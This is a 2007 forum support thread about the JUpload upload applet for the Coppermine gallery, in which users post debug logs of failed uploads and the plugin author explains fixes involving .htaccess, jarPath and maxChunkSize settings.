10:06:24.171 [DEBUG] freeMemory (after hasToTransformPicture) : 5237304
10:06:24.171 [DEBUG] PICT0705.JPG : hasToTransformPicture = false
10:06:24.312 [DEBUG] freeMemory (after hasToTransformPicture) : 5232088
10:06:24.312 [DEBUG] PICT0706.JPG : hasToTransformPicture = false
10:06:24.421 [DEBUG] freeMemory (after hasToTransformPicture) : 5228856
10:06:24.421 [DEBUG] PICT0707.JPG : hasToTransformPicture = false
10:06:24.515 [DEBUG] freeMemory (after hasToTransformPicture) : 5237768
10:06:24.515 [DEBUG] PICT0708.JPG : hasToTransformPicture = false
10:06:24.640 [DEBUG] freeMemory (after hasToTransformPicture) : 5236648
10:06:24.640 [DEBUG] PICT0709.JPG : hasToTransformPicture = false
10:06:24.765 [DEBUG] freeMemory (after hasToTransformPicture) : 5232960
10:06:24.765 [DEBUG] PICT0710.JPG : hasToTransformPicture = false
10:06:24.890 [DEBUG] freeMemory (after hasToTransformPicture) : 5229368
10:06:24.890 [DEBUG] PICT0711.JPG : hasToTransformPicture = false
10:06:24.984 [DEBUG] freeMemory (after hasToTransformPicture) : 5235952
10:06:24.984 [DEBUG] PICT0712.JPG : hasToTransformPicture = false
10:06:25.109 [DEBUG] freeMemory (after hasToTransformPicture) : 5233104
10:06:25.109 [DEBUG] PICT0713.JPG : hasToTransformPicture = false
10:06:25.218 [DEBUG] freeMemory (after hasToTransformPicture) : 5230800
10:06:25.218 [DEBUG] PICT0714.JPG : hasToTransformPicture = false
10:06:25.343 [DEBUG] freeMemory (after hasToTransformPicture) : 5226984
10:06:25.343 [DEBUG] PICT0715.JPG : hasToTransformPicture = false
10:06:25.468 [DEBUG] freeMemory (after hasToTransformPicture) : 5236472
10:06:25.468 [DEBUG] PICT0716.JPG : hasToTransformPicture = false
10:06:25.578 [DEBUG] freeMemory (after hasToTransformPicture) : 5234576
10:06:25.578 [DEBUG] PICT0717.JPG : hasToTransformPicture = false
10:06:25.687 [DEBUG] freeMemory (after hasToTransformPicture) : 5227856
10:06:25.687 [DEBUG] PICT0718.JPG : hasToTransformPicture = false
10:06:25.781 [DEBUG] freeMemory (after hasToTransformPicture) : 5223224
10:06:25.781 [DEBUG] PICT0719.JPG : hasToTransformPicture = false
10:06:25.890 [DEBUG] freeMemory (after hasToTransformPicture) : 5230848
10:06:25.890 [DEBUG] PICT0720.JPG : hasToTransformPicture = false
10:06:26.015 [DEBUG] freeMemory (after hasToTransformPicture) : 5228568
10:06:26.015 [DEBUG] PICT0721.JPG : hasToTransformPicture = false
10:06:26.015 [DEBUG] file 0: content=103459 bytes, getAdditionnalBytesForUpload=489 bytes
10:06:26.015 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
10:06:26.015 [DEBUG] Cookie: 8184a60d9bb6025008eb461affa54c1c=c0c72767a7fb73391ab180f84c7501cc; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310
10:06:26.015 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
10:06:26.015 [DEBUG] Using non SSL socket, direct connection
10:06:26.031 [DEBUG] PicturePanel.paint(): offscreenImage is null
10:06:26.062 [DEBUG] === main header (len=1054):
10:06:26.062 [DEBUG] POST /index.php?file=jupload/jupload&action=add_picture&album=43 HTTP/1.1\r\n
10:06:26.062 [DEBUG] Host: mpzportal.online.fr\r\n
10:06:26.062 [DEBUG] Accept: */*\r\n
10:06:26.062 [DEBUG] Connection: close\r\n
10:06:26.062 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Length: 104351\r\n
10:06:26.062 [DEBUG] Cookie: 8184a60d9bb6025008eb461affa54c1c=c0c72767a7fb73391ab180f84c7501cc; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310\r\n
10:06:26.062 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="file"\r\n
10:06:26.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] jupload/jupload\r\n
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="album"\r\n
10:06:26.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] 43\r\n
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="action"\r\n
10:06:26.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] add_picture\r\n
10:06:26.062 [DEBUG] === main header end
10:06:26.062 [DEBUG] --- fileheader start (len=285):
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="mimetype"\r\n
10:06:26.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] image/jpeg\r\n
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="PICT0700.JPG"\r\n
10:06:26.062 [DEBUG] Content-Type: image/jpeg\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] --- fileheader end
10:06:26.078 [DEBUG] in UploadFileData.uploadFile (amount:103459, getUploadLength(): 103459)
10:06:29.328 [DEBUG] --- filetail start (len=204):
10:06:29.328 [DEBUG] \r\n
10:06:29.328 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:29.328 [DEBUG] Content-Disposition: form-data; name="md5sum"\r\n
10:06:29.328 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:29.328 [DEBUG] \r\n
10:06:29.328 [DEBUG] 862afef87e74419b50e20f85035df184\r\n
10:06:29.328 [DEBUG] -----------------------------5xvsxwybdcp--\r\n
10:06:29.328 [DEBUG] --- filetail end
10:06:30.000 [DEBUG] -------- Response Headers Start --------
10:06:30.000 [DEBUG] HTTP/1.1 401 Authorization Required
10:06:30.000 [DEBUG] Date: Mon, 28 May 2007 08:06:23 GMT
10:06:30.000 [DEBUG] Server: Apache/ProXad [Apr 14 2007 12:48:56]
10:06:30.000 [DEBUG] WWW-Authenticate: Basic realm="Que faites vous ici ? Hein Hein ?!"
10:06:30.000 [DEBUG] Connection: close
10:06:30.000 [DEBUG] Content-Type: text/html; charset=iso-8859-1
10:06:30.000 [DEBUG]
10:06:30.000 [DEBUG] --------- Response Headers End ---------
10:06:30.000 [DEBUG] HTTP status: 401 Authorization Required
10:06:30.000 [ERROR] Upload arrt avec erreur
10:06:30.000 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 401 Authorization Required
10:06:30.000 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:499)
10:06:30.000 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
10:06:30.000 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
10:06:30.000 [DEBUG] -------- Response Body Start --------
10:06:30.015 [DEBUG] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
10:06:30.015 [DEBUG] <HTML><HEAD>
10:06:30.015 [DEBUG] <TITLE>401 Authorization Required</TITLE>
10:06:30.015 [DEBUG] </HEAD><BODY>
10:06:30.015 [DEBUG] <H1>Authorization Required</H1>
10:06:30.015 [DEBUG] This server could not verify that you
10:06:30.015 [DEBUG] are authorized to access the document
10:06:30.015 [DEBUG] requested.  Either you supplied the wrong
10:06:30.015 [DEBUG] credentials (e.g., bad password), or your
10:06:30.015 [DEBUG] browser doesn't understand how to supply
10:06:30.015 [DEBUG] the credentials required.<P>
10:06:30.015 [DEBUG] <ADDRESS>Apache/ProXad [Apr 14 2007 12:48:55] Server at mpzportal.online.fr Port 80</ADDRESS>
10:06:30.015 [DEBUG] </BODY></HTML>
10:06:30.015 [DEBUG] --------- Response Body End ---------
10:06:30.015 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 401 Authorization Required
10:06:30.015 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:499)
10:06:30.015 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
10:06:30.015 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
10:06:30.015 [DEBUG] FileUploadThread: within run().finally
10:06:31.765 [DEBUG] PicturePanel.paint(): offscreenImage is null
10:06:31.828 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
Title: Re: Upload applet (JUpload)
Post by: Iamatree on May 28, 2007, 10:19:41 am
Hi,

  Does it happen for album in the user's personal gallery, or for public albums, created by the admin ?

Etienne

Public Albums created by the admin.

I will PM you an account you can test on.

Thanks.
Title: Re: Upload applet (JUpload)
Post by: Vincs on May 28, 2007, 02:20:42 pm
Hello !
I can't upload pictures sinds I install the 2.4.2 versions.
I don't know if it's due to server or plug-in.
I will check again later.
There is the debug :

Code: [Select]
10:06:13.625 [INFO] Debug level set to 0
10:06:13.734 [WARN] Invalid int value: , using default value: 0
10:06:13.750 [INFO] JUpload plugin for coppermine version 2.4.2
10:06:19.046 [INFO] Debug level set to 100
10:06:19.046 [DEBUG] =======================================================================
10:06:19.046 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
10:06:19.046 [INFO] JUpload applet, version 3.0.0a3 ($Revision: 173 $) ($Date: 2007-05-25 19:25:24 +0000 (ven., 25 mai 2007) $), available at http://jupload.sourceforge.net/
10:06:19.046 [DEBUG] Java version: 1.6.0
10:06:19.046 [DEBUG] Cookie: 8184a60d9bb6025008eb461affa54c1c=c0c72767a7fb73391ab180f84c7501cc; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310
10:06:19.046 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
10:06:19.046 [DEBUG] List of all applet parameters:
10:06:19.046 [DEBUG]   language: fr
10:06:19.046 [DEBUG]   country:
10:06:19.062 [DEBUG] afterUploadURL: null
10:06:19.062 [DEBUG]   allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
10:06:19.062 [DEBUG] debug: 100
10:06:19.062 [DEBUG] filenameEncoding: null
10:06:19.062 [DEBUG] lang: fr
10:06:19.062 [DEBUG] maxChunkSize: 9223372036854775807
10:06:19.062 [INFO] maxFileSize  : 1024000
10:06:19.062 [DEBUG] nbFilesPerRequest: 1
10:06:19.062 [DEBUG] postURL: http://mpzportal.online.fr/index.php?file=jupload/jupload&action=add_picture
10:06:19.062 [DEBUG] serverProtocol: HTTP/1.1
10:06:19.062 [DEBUG] showLogWindow: false
10:06:19.062 [DEBUG] stringUploadSuccess: SUCCESS
10:06:19.062 [DEBUG] stringUploadError: ERROR: (.*)
10:06:19.062 [DEBUG] urlToSendErrorTo: http://mpzportal.online.fr/index.php?file=jupload/jupload&action=log_error
10:06:19.062 [DEBUG]
10:06:19.062 [DEBUG] ======= Parameters managed by PictureUploadPolicy
10:06:19.062 [DEBUG] maxPicWidth : 2048, maxPicHeight : 2048
10:06:19.062 [DEBUG] realMaxPicWidth : 2048, realMaxPicHeight : 2048
10:06:19.062 [DEBUG] highQualityPreview : true
10:06:19.062 [DEBUG] storeBufferedImage : false
10:06:19.062 [DEBUG] targetPictureFormat : null
10:06:19.062 [DEBUG]
10:06:19.062 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
10:06:19.062 [DEBUG] albumId : 43
10:06:19.062 [DEBUG]
10:06:22.281 [DEBUG] isPicture=true (PICT0700.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0701.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0702.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0703.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0704.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0705.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0706.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0707.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0708.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0709.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0710.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0711.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0712.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0713.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0714.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0715.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0716.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0717.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0718.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0719.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0720.JPG), extension=JPG
10:06:22.312 [DEBUG] isPicture=true (PICT0721.JPG), extension=JPG
10:06:23.359 [DEBUG] PicturePanel.paint(): offscreenImage is null
10:06:23.406 [DEBUG] Action : Envoyer
10:06:23.406 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
10:06:23.453 [DEBUG] Timer started
10:06:23.546 [DEBUG] freeMemory (after hasToTransformPicture) : 5018648
10:06:23.546 [DEBUG] PICT0700.JPG : hasToTransformPicture = false
10:06:23.656 [DEBUG] freeMemory (after hasToTransformPicture) : 5015608
10:06:23.656 [DEBUG] PICT0701.JPG : hasToTransformPicture = false
10:06:23.812 [DEBUG] freeMemory (after hasToTransformPicture) : 4989896
10:06:23.812 [DEBUG] PICT0702.JPG : hasToTransformPicture = false
10:06:23.906 [DEBUG] freeMemory (after hasToTransformPicture) : 4979056
10:06:23.906 [DEBUG] PICT0703.JPG : hasToTransformPicture = false
10:06:24.046 [DEBUG] freeMemory (after hasToTransformPicture) : 5241600
10:06:24.046 [DEBUG] PICT0704.JPG : hasToTransformPicture = false
10:06:24.171 [DEBUG] freeMemory (after hasToTransformPicture) : 5237304
10:06:24.171 [DEBUG] PICT0705.JPG : hasToTransformPicture = false
10:06:24.312 [DEBUG] freeMemory (after hasToTransformPicture) : 5232088
10:06:24.312 [DEBUG] PICT0706.JPG : hasToTransformPicture = false
10:06:24.421 [DEBUG] freeMemory (after hasToTransformPicture) : 5228856
10:06:24.421 [DEBUG] PICT0707.JPG : hasToTransformPicture = false
10:06:24.515 [DEBUG] freeMemory (after hasToTransformPicture) : 5237768
10:06:24.515 [DEBUG] PICT0708.JPG : hasToTransformPicture = false
10:06:24.640 [DEBUG] freeMemory (after hasToTransformPicture) : 5236648
10:06:24.640 [DEBUG] PICT0709.JPG : hasToTransformPicture = false
10:06:24.765 [DEBUG] freeMemory (after hasToTransformPicture) : 5232960
10:06:24.765 [DEBUG] PICT0710.JPG : hasToTransformPicture = false
10:06:24.890 [DEBUG] freeMemory (after hasToTransformPicture) : 5229368
10:06:24.890 [DEBUG] PICT0711.JPG : hasToTransformPicture = false
10:06:24.984 [DEBUG] freeMemory (after hasToTransformPicture) : 5235952
10:06:24.984 [DEBUG] PICT0712.JPG : hasToTransformPicture = false
10:06:25.109 [DEBUG] freeMemory (after hasToTransformPicture) : 5233104
10:06:25.109 [DEBUG] PICT0713.JPG : hasToTransformPicture = false
10:06:25.218 [DEBUG] freeMemory (after hasToTransformPicture) : 5230800
10:06:25.218 [DEBUG] PICT0714.JPG : hasToTransformPicture = false
10:06:25.343 [DEBUG] freeMemory (after hasToTransformPicture) : 5226984
10:06:25.343 [DEBUG] PICT0715.JPG : hasToTransformPicture = false
10:06:25.468 [DEBUG] freeMemory (after hasToTransformPicture) : 5236472
10:06:25.468 [DEBUG] PICT0716.JPG : hasToTransformPicture = false
10:06:25.578 [DEBUG] freeMemory (after hasToTransformPicture) : 5234576
10:06:25.578 [DEBUG] PICT0717.JPG : hasToTransformPicture = false
10:06:25.687 [DEBUG] freeMemory (after hasToTransformPicture) : 5227856
10:06:25.687 [DEBUG] PICT0718.JPG : hasToTransformPicture = false
10:06:25.781 [DEBUG] freeMemory (after hasToTransformPicture) : 5223224
10:06:25.781 [DEBUG] PICT0719.JPG : hasToTransformPicture = false
10:06:25.890 [DEBUG] freeMemory (after hasToTransformPicture) : 5230848
10:06:25.890 [DEBUG] PICT0720.JPG : hasToTransformPicture = false
10:06:26.015 [DEBUG] freeMemory (after hasToTransformPicture) : 5228568
10:06:26.015 [DEBUG] PICT0721.JPG : hasToTransformPicture = false
10:06:26.015 [DEBUG] file 0: content=103459 bytes, getAdditionnalBytesForUpload=489 bytes
10:06:26.015 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
10:06:26.015 [DEBUG] Cookie: 8184a60d9bb6025008eb461affa54c1c=c0c72767a7fb73391ab180f84c7501cc; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310
10:06:26.015 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
10:06:26.015 [DEBUG] Using non SSL socket, direct connection
10:06:26.031 [DEBUG] PicturePanel.paint(): offscreenImage is null
10:06:26.062 [DEBUG] === main header (len=1054):
10:06:26.062 [DEBUG] POST /index.php?file=jupload/jupload&action=add_picture&album=43 HTTP/1.1\r\n
10:06:26.062 [DEBUG] Host: mpzportal.online.fr\r\n
10:06:26.062 [DEBUG] Accept: */*\r\n
10:06:26.062 [DEBUG] Connection: close\r\n
10:06:26.062 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Length: 104351\r\n
10:06:26.062 [DEBUG] Cookie: 8184a60d9bb6025008eb461affa54c1c=c0c72767a7fb73391ab180f84c7501cc; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310\r\n
10:06:26.062 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="file"\r\n
10:06:26.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] jupload/jupload\r\n
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="album"\r\n
10:06:26.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] 43\r\n
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="action"\r\n
10:06:26.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] add_picture\r\n
10:06:26.062 [DEBUG] === main header end
10:06:26.062 [DEBUG] --- fileheader start (len=285):
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="mimetype"\r\n
10:06:26.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] image/jpeg\r\n
10:06:26.062 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:26.062 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="PICT0700.JPG"\r\n
10:06:26.062 [DEBUG] Content-Type: image/jpeg\r\n
10:06:26.062 [DEBUG] \r\n
10:06:26.062 [DEBUG] --- fileheader end
10:06:26.078 [DEBUG] in UploadFileData.uploadFile (amount:103459, getUploadLength(): 103459)
10:06:29.328 [DEBUG] --- filetail start (len=204):
10:06:29.328 [DEBUG] \r\n
10:06:29.328 [DEBUG] -----------------------------5xvsxwybdcp\r\n
10:06:29.328 [DEBUG] Content-Disposition: form-data; name="md5sum"\r\n
10:06:29.328 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
10:06:29.328 [DEBUG] \r\n
10:06:29.328 [DEBUG] 862afef87e74419b50e20f85035df184\r\n
10:06:29.328 [DEBUG] -----------------------------5xvsxwybdcp--\r\n
10:06:29.328 [DEBUG] --- filetail end
10:06:30.000 [DEBUG] -------- Response Headers Start --------
10:06:30.000 [DEBUG] HTTP/1.1 401 Authorization Required
10:06:30.000 [DEBUG] Date: Mon, 28 May 2007 08:06:23 GMT
10:06:30.000 [DEBUG] Server: Apache/ProXad [Apr 14 2007 12:48:56]
10:06:30.000 [DEBUG] WWW-Authenticate: Basic realm="Que faites vous ici ? Hein Hein ?!"
10:06:30.000 [DEBUG] Connection: close
10:06:30.000 [DEBUG] Content-Type: text/html; charset=iso-8859-1
10:06:30.000 [DEBUG]
10:06:30.000 [DEBUG] --------- Response Headers End ---------
10:06:30.000 [DEBUG] HTTP status: 401 Authorization Required
10:06:30.000 [ERROR] Upload arrt avec erreur
10:06:30.000 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 401 Authorization Required
10:06:30.000 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:499)
10:06:30.000 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
10:06:30.000 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
10:06:30.000 [DEBUG] -------- Response Body Start --------
10:06:30.015 [DEBUG] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
10:06:30.015 [DEBUG] <HTML><HEAD>
10:06:30.015 [DEBUG] <TITLE>401 Authorization Required</TITLE>
10:06:30.015 [DEBUG] </HEAD><BODY>
10:06:30.015 [DEBUG] <H1>Authorization Required</H1>
10:06:30.015 [DEBUG] This server could not verify that you
10:06:30.015 [DEBUG] are authorized to access the document
10:06:30.015 [DEBUG] requested.  Either you supplied the wrong
10:06:30.015 [DEBUG] credentials (e.g., bad password), or your
10:06:30.015 [DEBUG] browser doesn't understand how to supply
10:06:30.015 [DEBUG] the credentials required.<P>
10:06:30.015 [DEBUG] <ADDRESS>Apache/ProXad [Apr 14 2007 12:48:55] Server at mpzportal.online.fr Port 80</ADDRESS>
10:06:30.015 [DEBUG] </BODY></HTML>
10:06:30.015 [DEBUG] --------- Response Body End ---------
10:06:30.015 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 401 Authorization Required
10:06:30.015 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:499)
10:06:30.015 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
10:06:30.015 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
10:06:30.015 [DEBUG] FileUploadThread: within run().finally
10:06:31.765 [DEBUG] PicturePanel.paint(): offscreenImage is null
10:06:31.828 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()

I've found what's wrong it's because I put a .htaccess in my root. And delete it and now it's ok !
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 29, 2007, 10:54:49 am
I've found what's wrong it's because I put a .htaccess in my root. And delete it and now it's ok !

I was about to write this to you ...   ;-)

Etienne
Title: Re: Jave Errors when using JUpload
Post by: etienne_sf on May 29, 2007, 11:18:14 am
I am using coppermine in a joomla site using the copperminevis component from joombla.com.  I have installed the JUpload plugin, but when I click on the JUpload link I get 2 java error messages.

Shane,

  I release a 2.4.3 parameter. It added a new parameter, jarPath, that can be updated from the jupload config page (accessible through the main configuration page).
  From the info you gave me, you should put /cms/components/com_copperminevis/cpg/plugins/jupload/ in this parameter.

Etienne


Note: please, let the "Powered by Coppermine" footer visible on your web site. It's a great tool, and people should know that you use it.
Title: Re: Upload applet (JUpload)
Post by: Vincs on May 29, 2007, 11:39:45 am
I was about to write this to you ...   ;-)

Etienne

But what can I do if I want the plugin directory under .htaccess ?
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 29, 2007, 12:00:32 pm
But what can I do if I want the plugin directory under .htaccess ?

I'll work on this one: it may interest other people.

Etienne
Title: Re: Upload applet (JUpload)
Post by: Vincs on May 29, 2007, 01:57:29 pm
Thanks good luck to you :)
Title: Re: Upload applet (JUpload)
Post by: Spider on May 29, 2007, 03:42:46 pm
hi, i have install the latest Version of CPG and the latest Version of JUpload plugin Plugin v2.4.3

I have a local WebServer with CPG and this nice Plugin but when i upload a video File or other big files in the localnet the uploadrate was extrem low

60 kb/s on an 100Mbit Network

Whats the problem ???
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 29, 2007, 04:39:11 pm
hi, i have install the latest Version of CPG and the latest Version of JUpload plugin Plugin v2.4.3

I have a local WebServer with CPG and this nice Plugin but when i upload a video File or other big files in the localnet the uploadrate was extrem low

60 kb/s on an 100Mbit Network

Whats the problem ???

Are you sure you have a 100Mbit network       ;-)

FYI: the rate take into account the total response time from the server. That is:
Step 1: upload of the file (the upload should be high and about stable during this phase)
Step 2: wait for server answer (no network traffic, the CPU of the server is working).

Now, AFAIR, Coppermine doesn't really work when a video has been uploaded, on the contrary of picture upload, where the server must calculate the small and medium pictures.

Can you check that, during step 1, the upload speed goes to a correctly high value ?

Something on my todo list, is to check that the content-length is correct (must be the exact number of bytes). If not, the HTTP protocol (applet or server side) may be waiting for another byte.

Etienne
Title: Re: Upload applet (JUpload)
Post by: Spider on May 29, 2007, 05:10:07 pm
ok i have installet all on a internet webserver

the problem now :

1.) I start an upload of a xyz.pdf File with 3Mb
2.) after finish i become a Message "ALERT"  Message : "no file uploaded ()"

but why ??

i post you my server data per PrivatMessage !
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 29, 2007, 06:35:40 pm
1.) I start an upload of a xyz.pdf File with 3Mb
2.) after finish i become a Message "ALERT"  Message : "no file uploaded ()"

Hi,

I've read your PM, but here s a proposal to test it. If it doesn't work, I'll go to your site.

  Your file is probably bigger than the max upload file of your server. You should try this:
- Connect on Coppermine as an admin
- Go to the configuration page
- Then, 'Plugin management', in the first section
- Then 'JUpload configuration'
- Then, enter 1000 (for instance) in the maxChunkSize parameter.

With this parameter, files will be sent by chunk of 1Mb (1000 kb) on the server.

Etienne

Title: Re: Upload applet (JUpload)
Post by: Spider on May 29, 2007, 09:12:27 pm
Fantastico....great....nice....fantastic..... ;D 8) ::) ;) :)

It works....
Title: Re: Jave Errors when using JUpload
Post by: Joachim Mller on May 30, 2007, 08:44:08 am
Note: please, let the "Powered by Coppermine" footer visible on your web site. It's a great tool, and people should know that you use it.
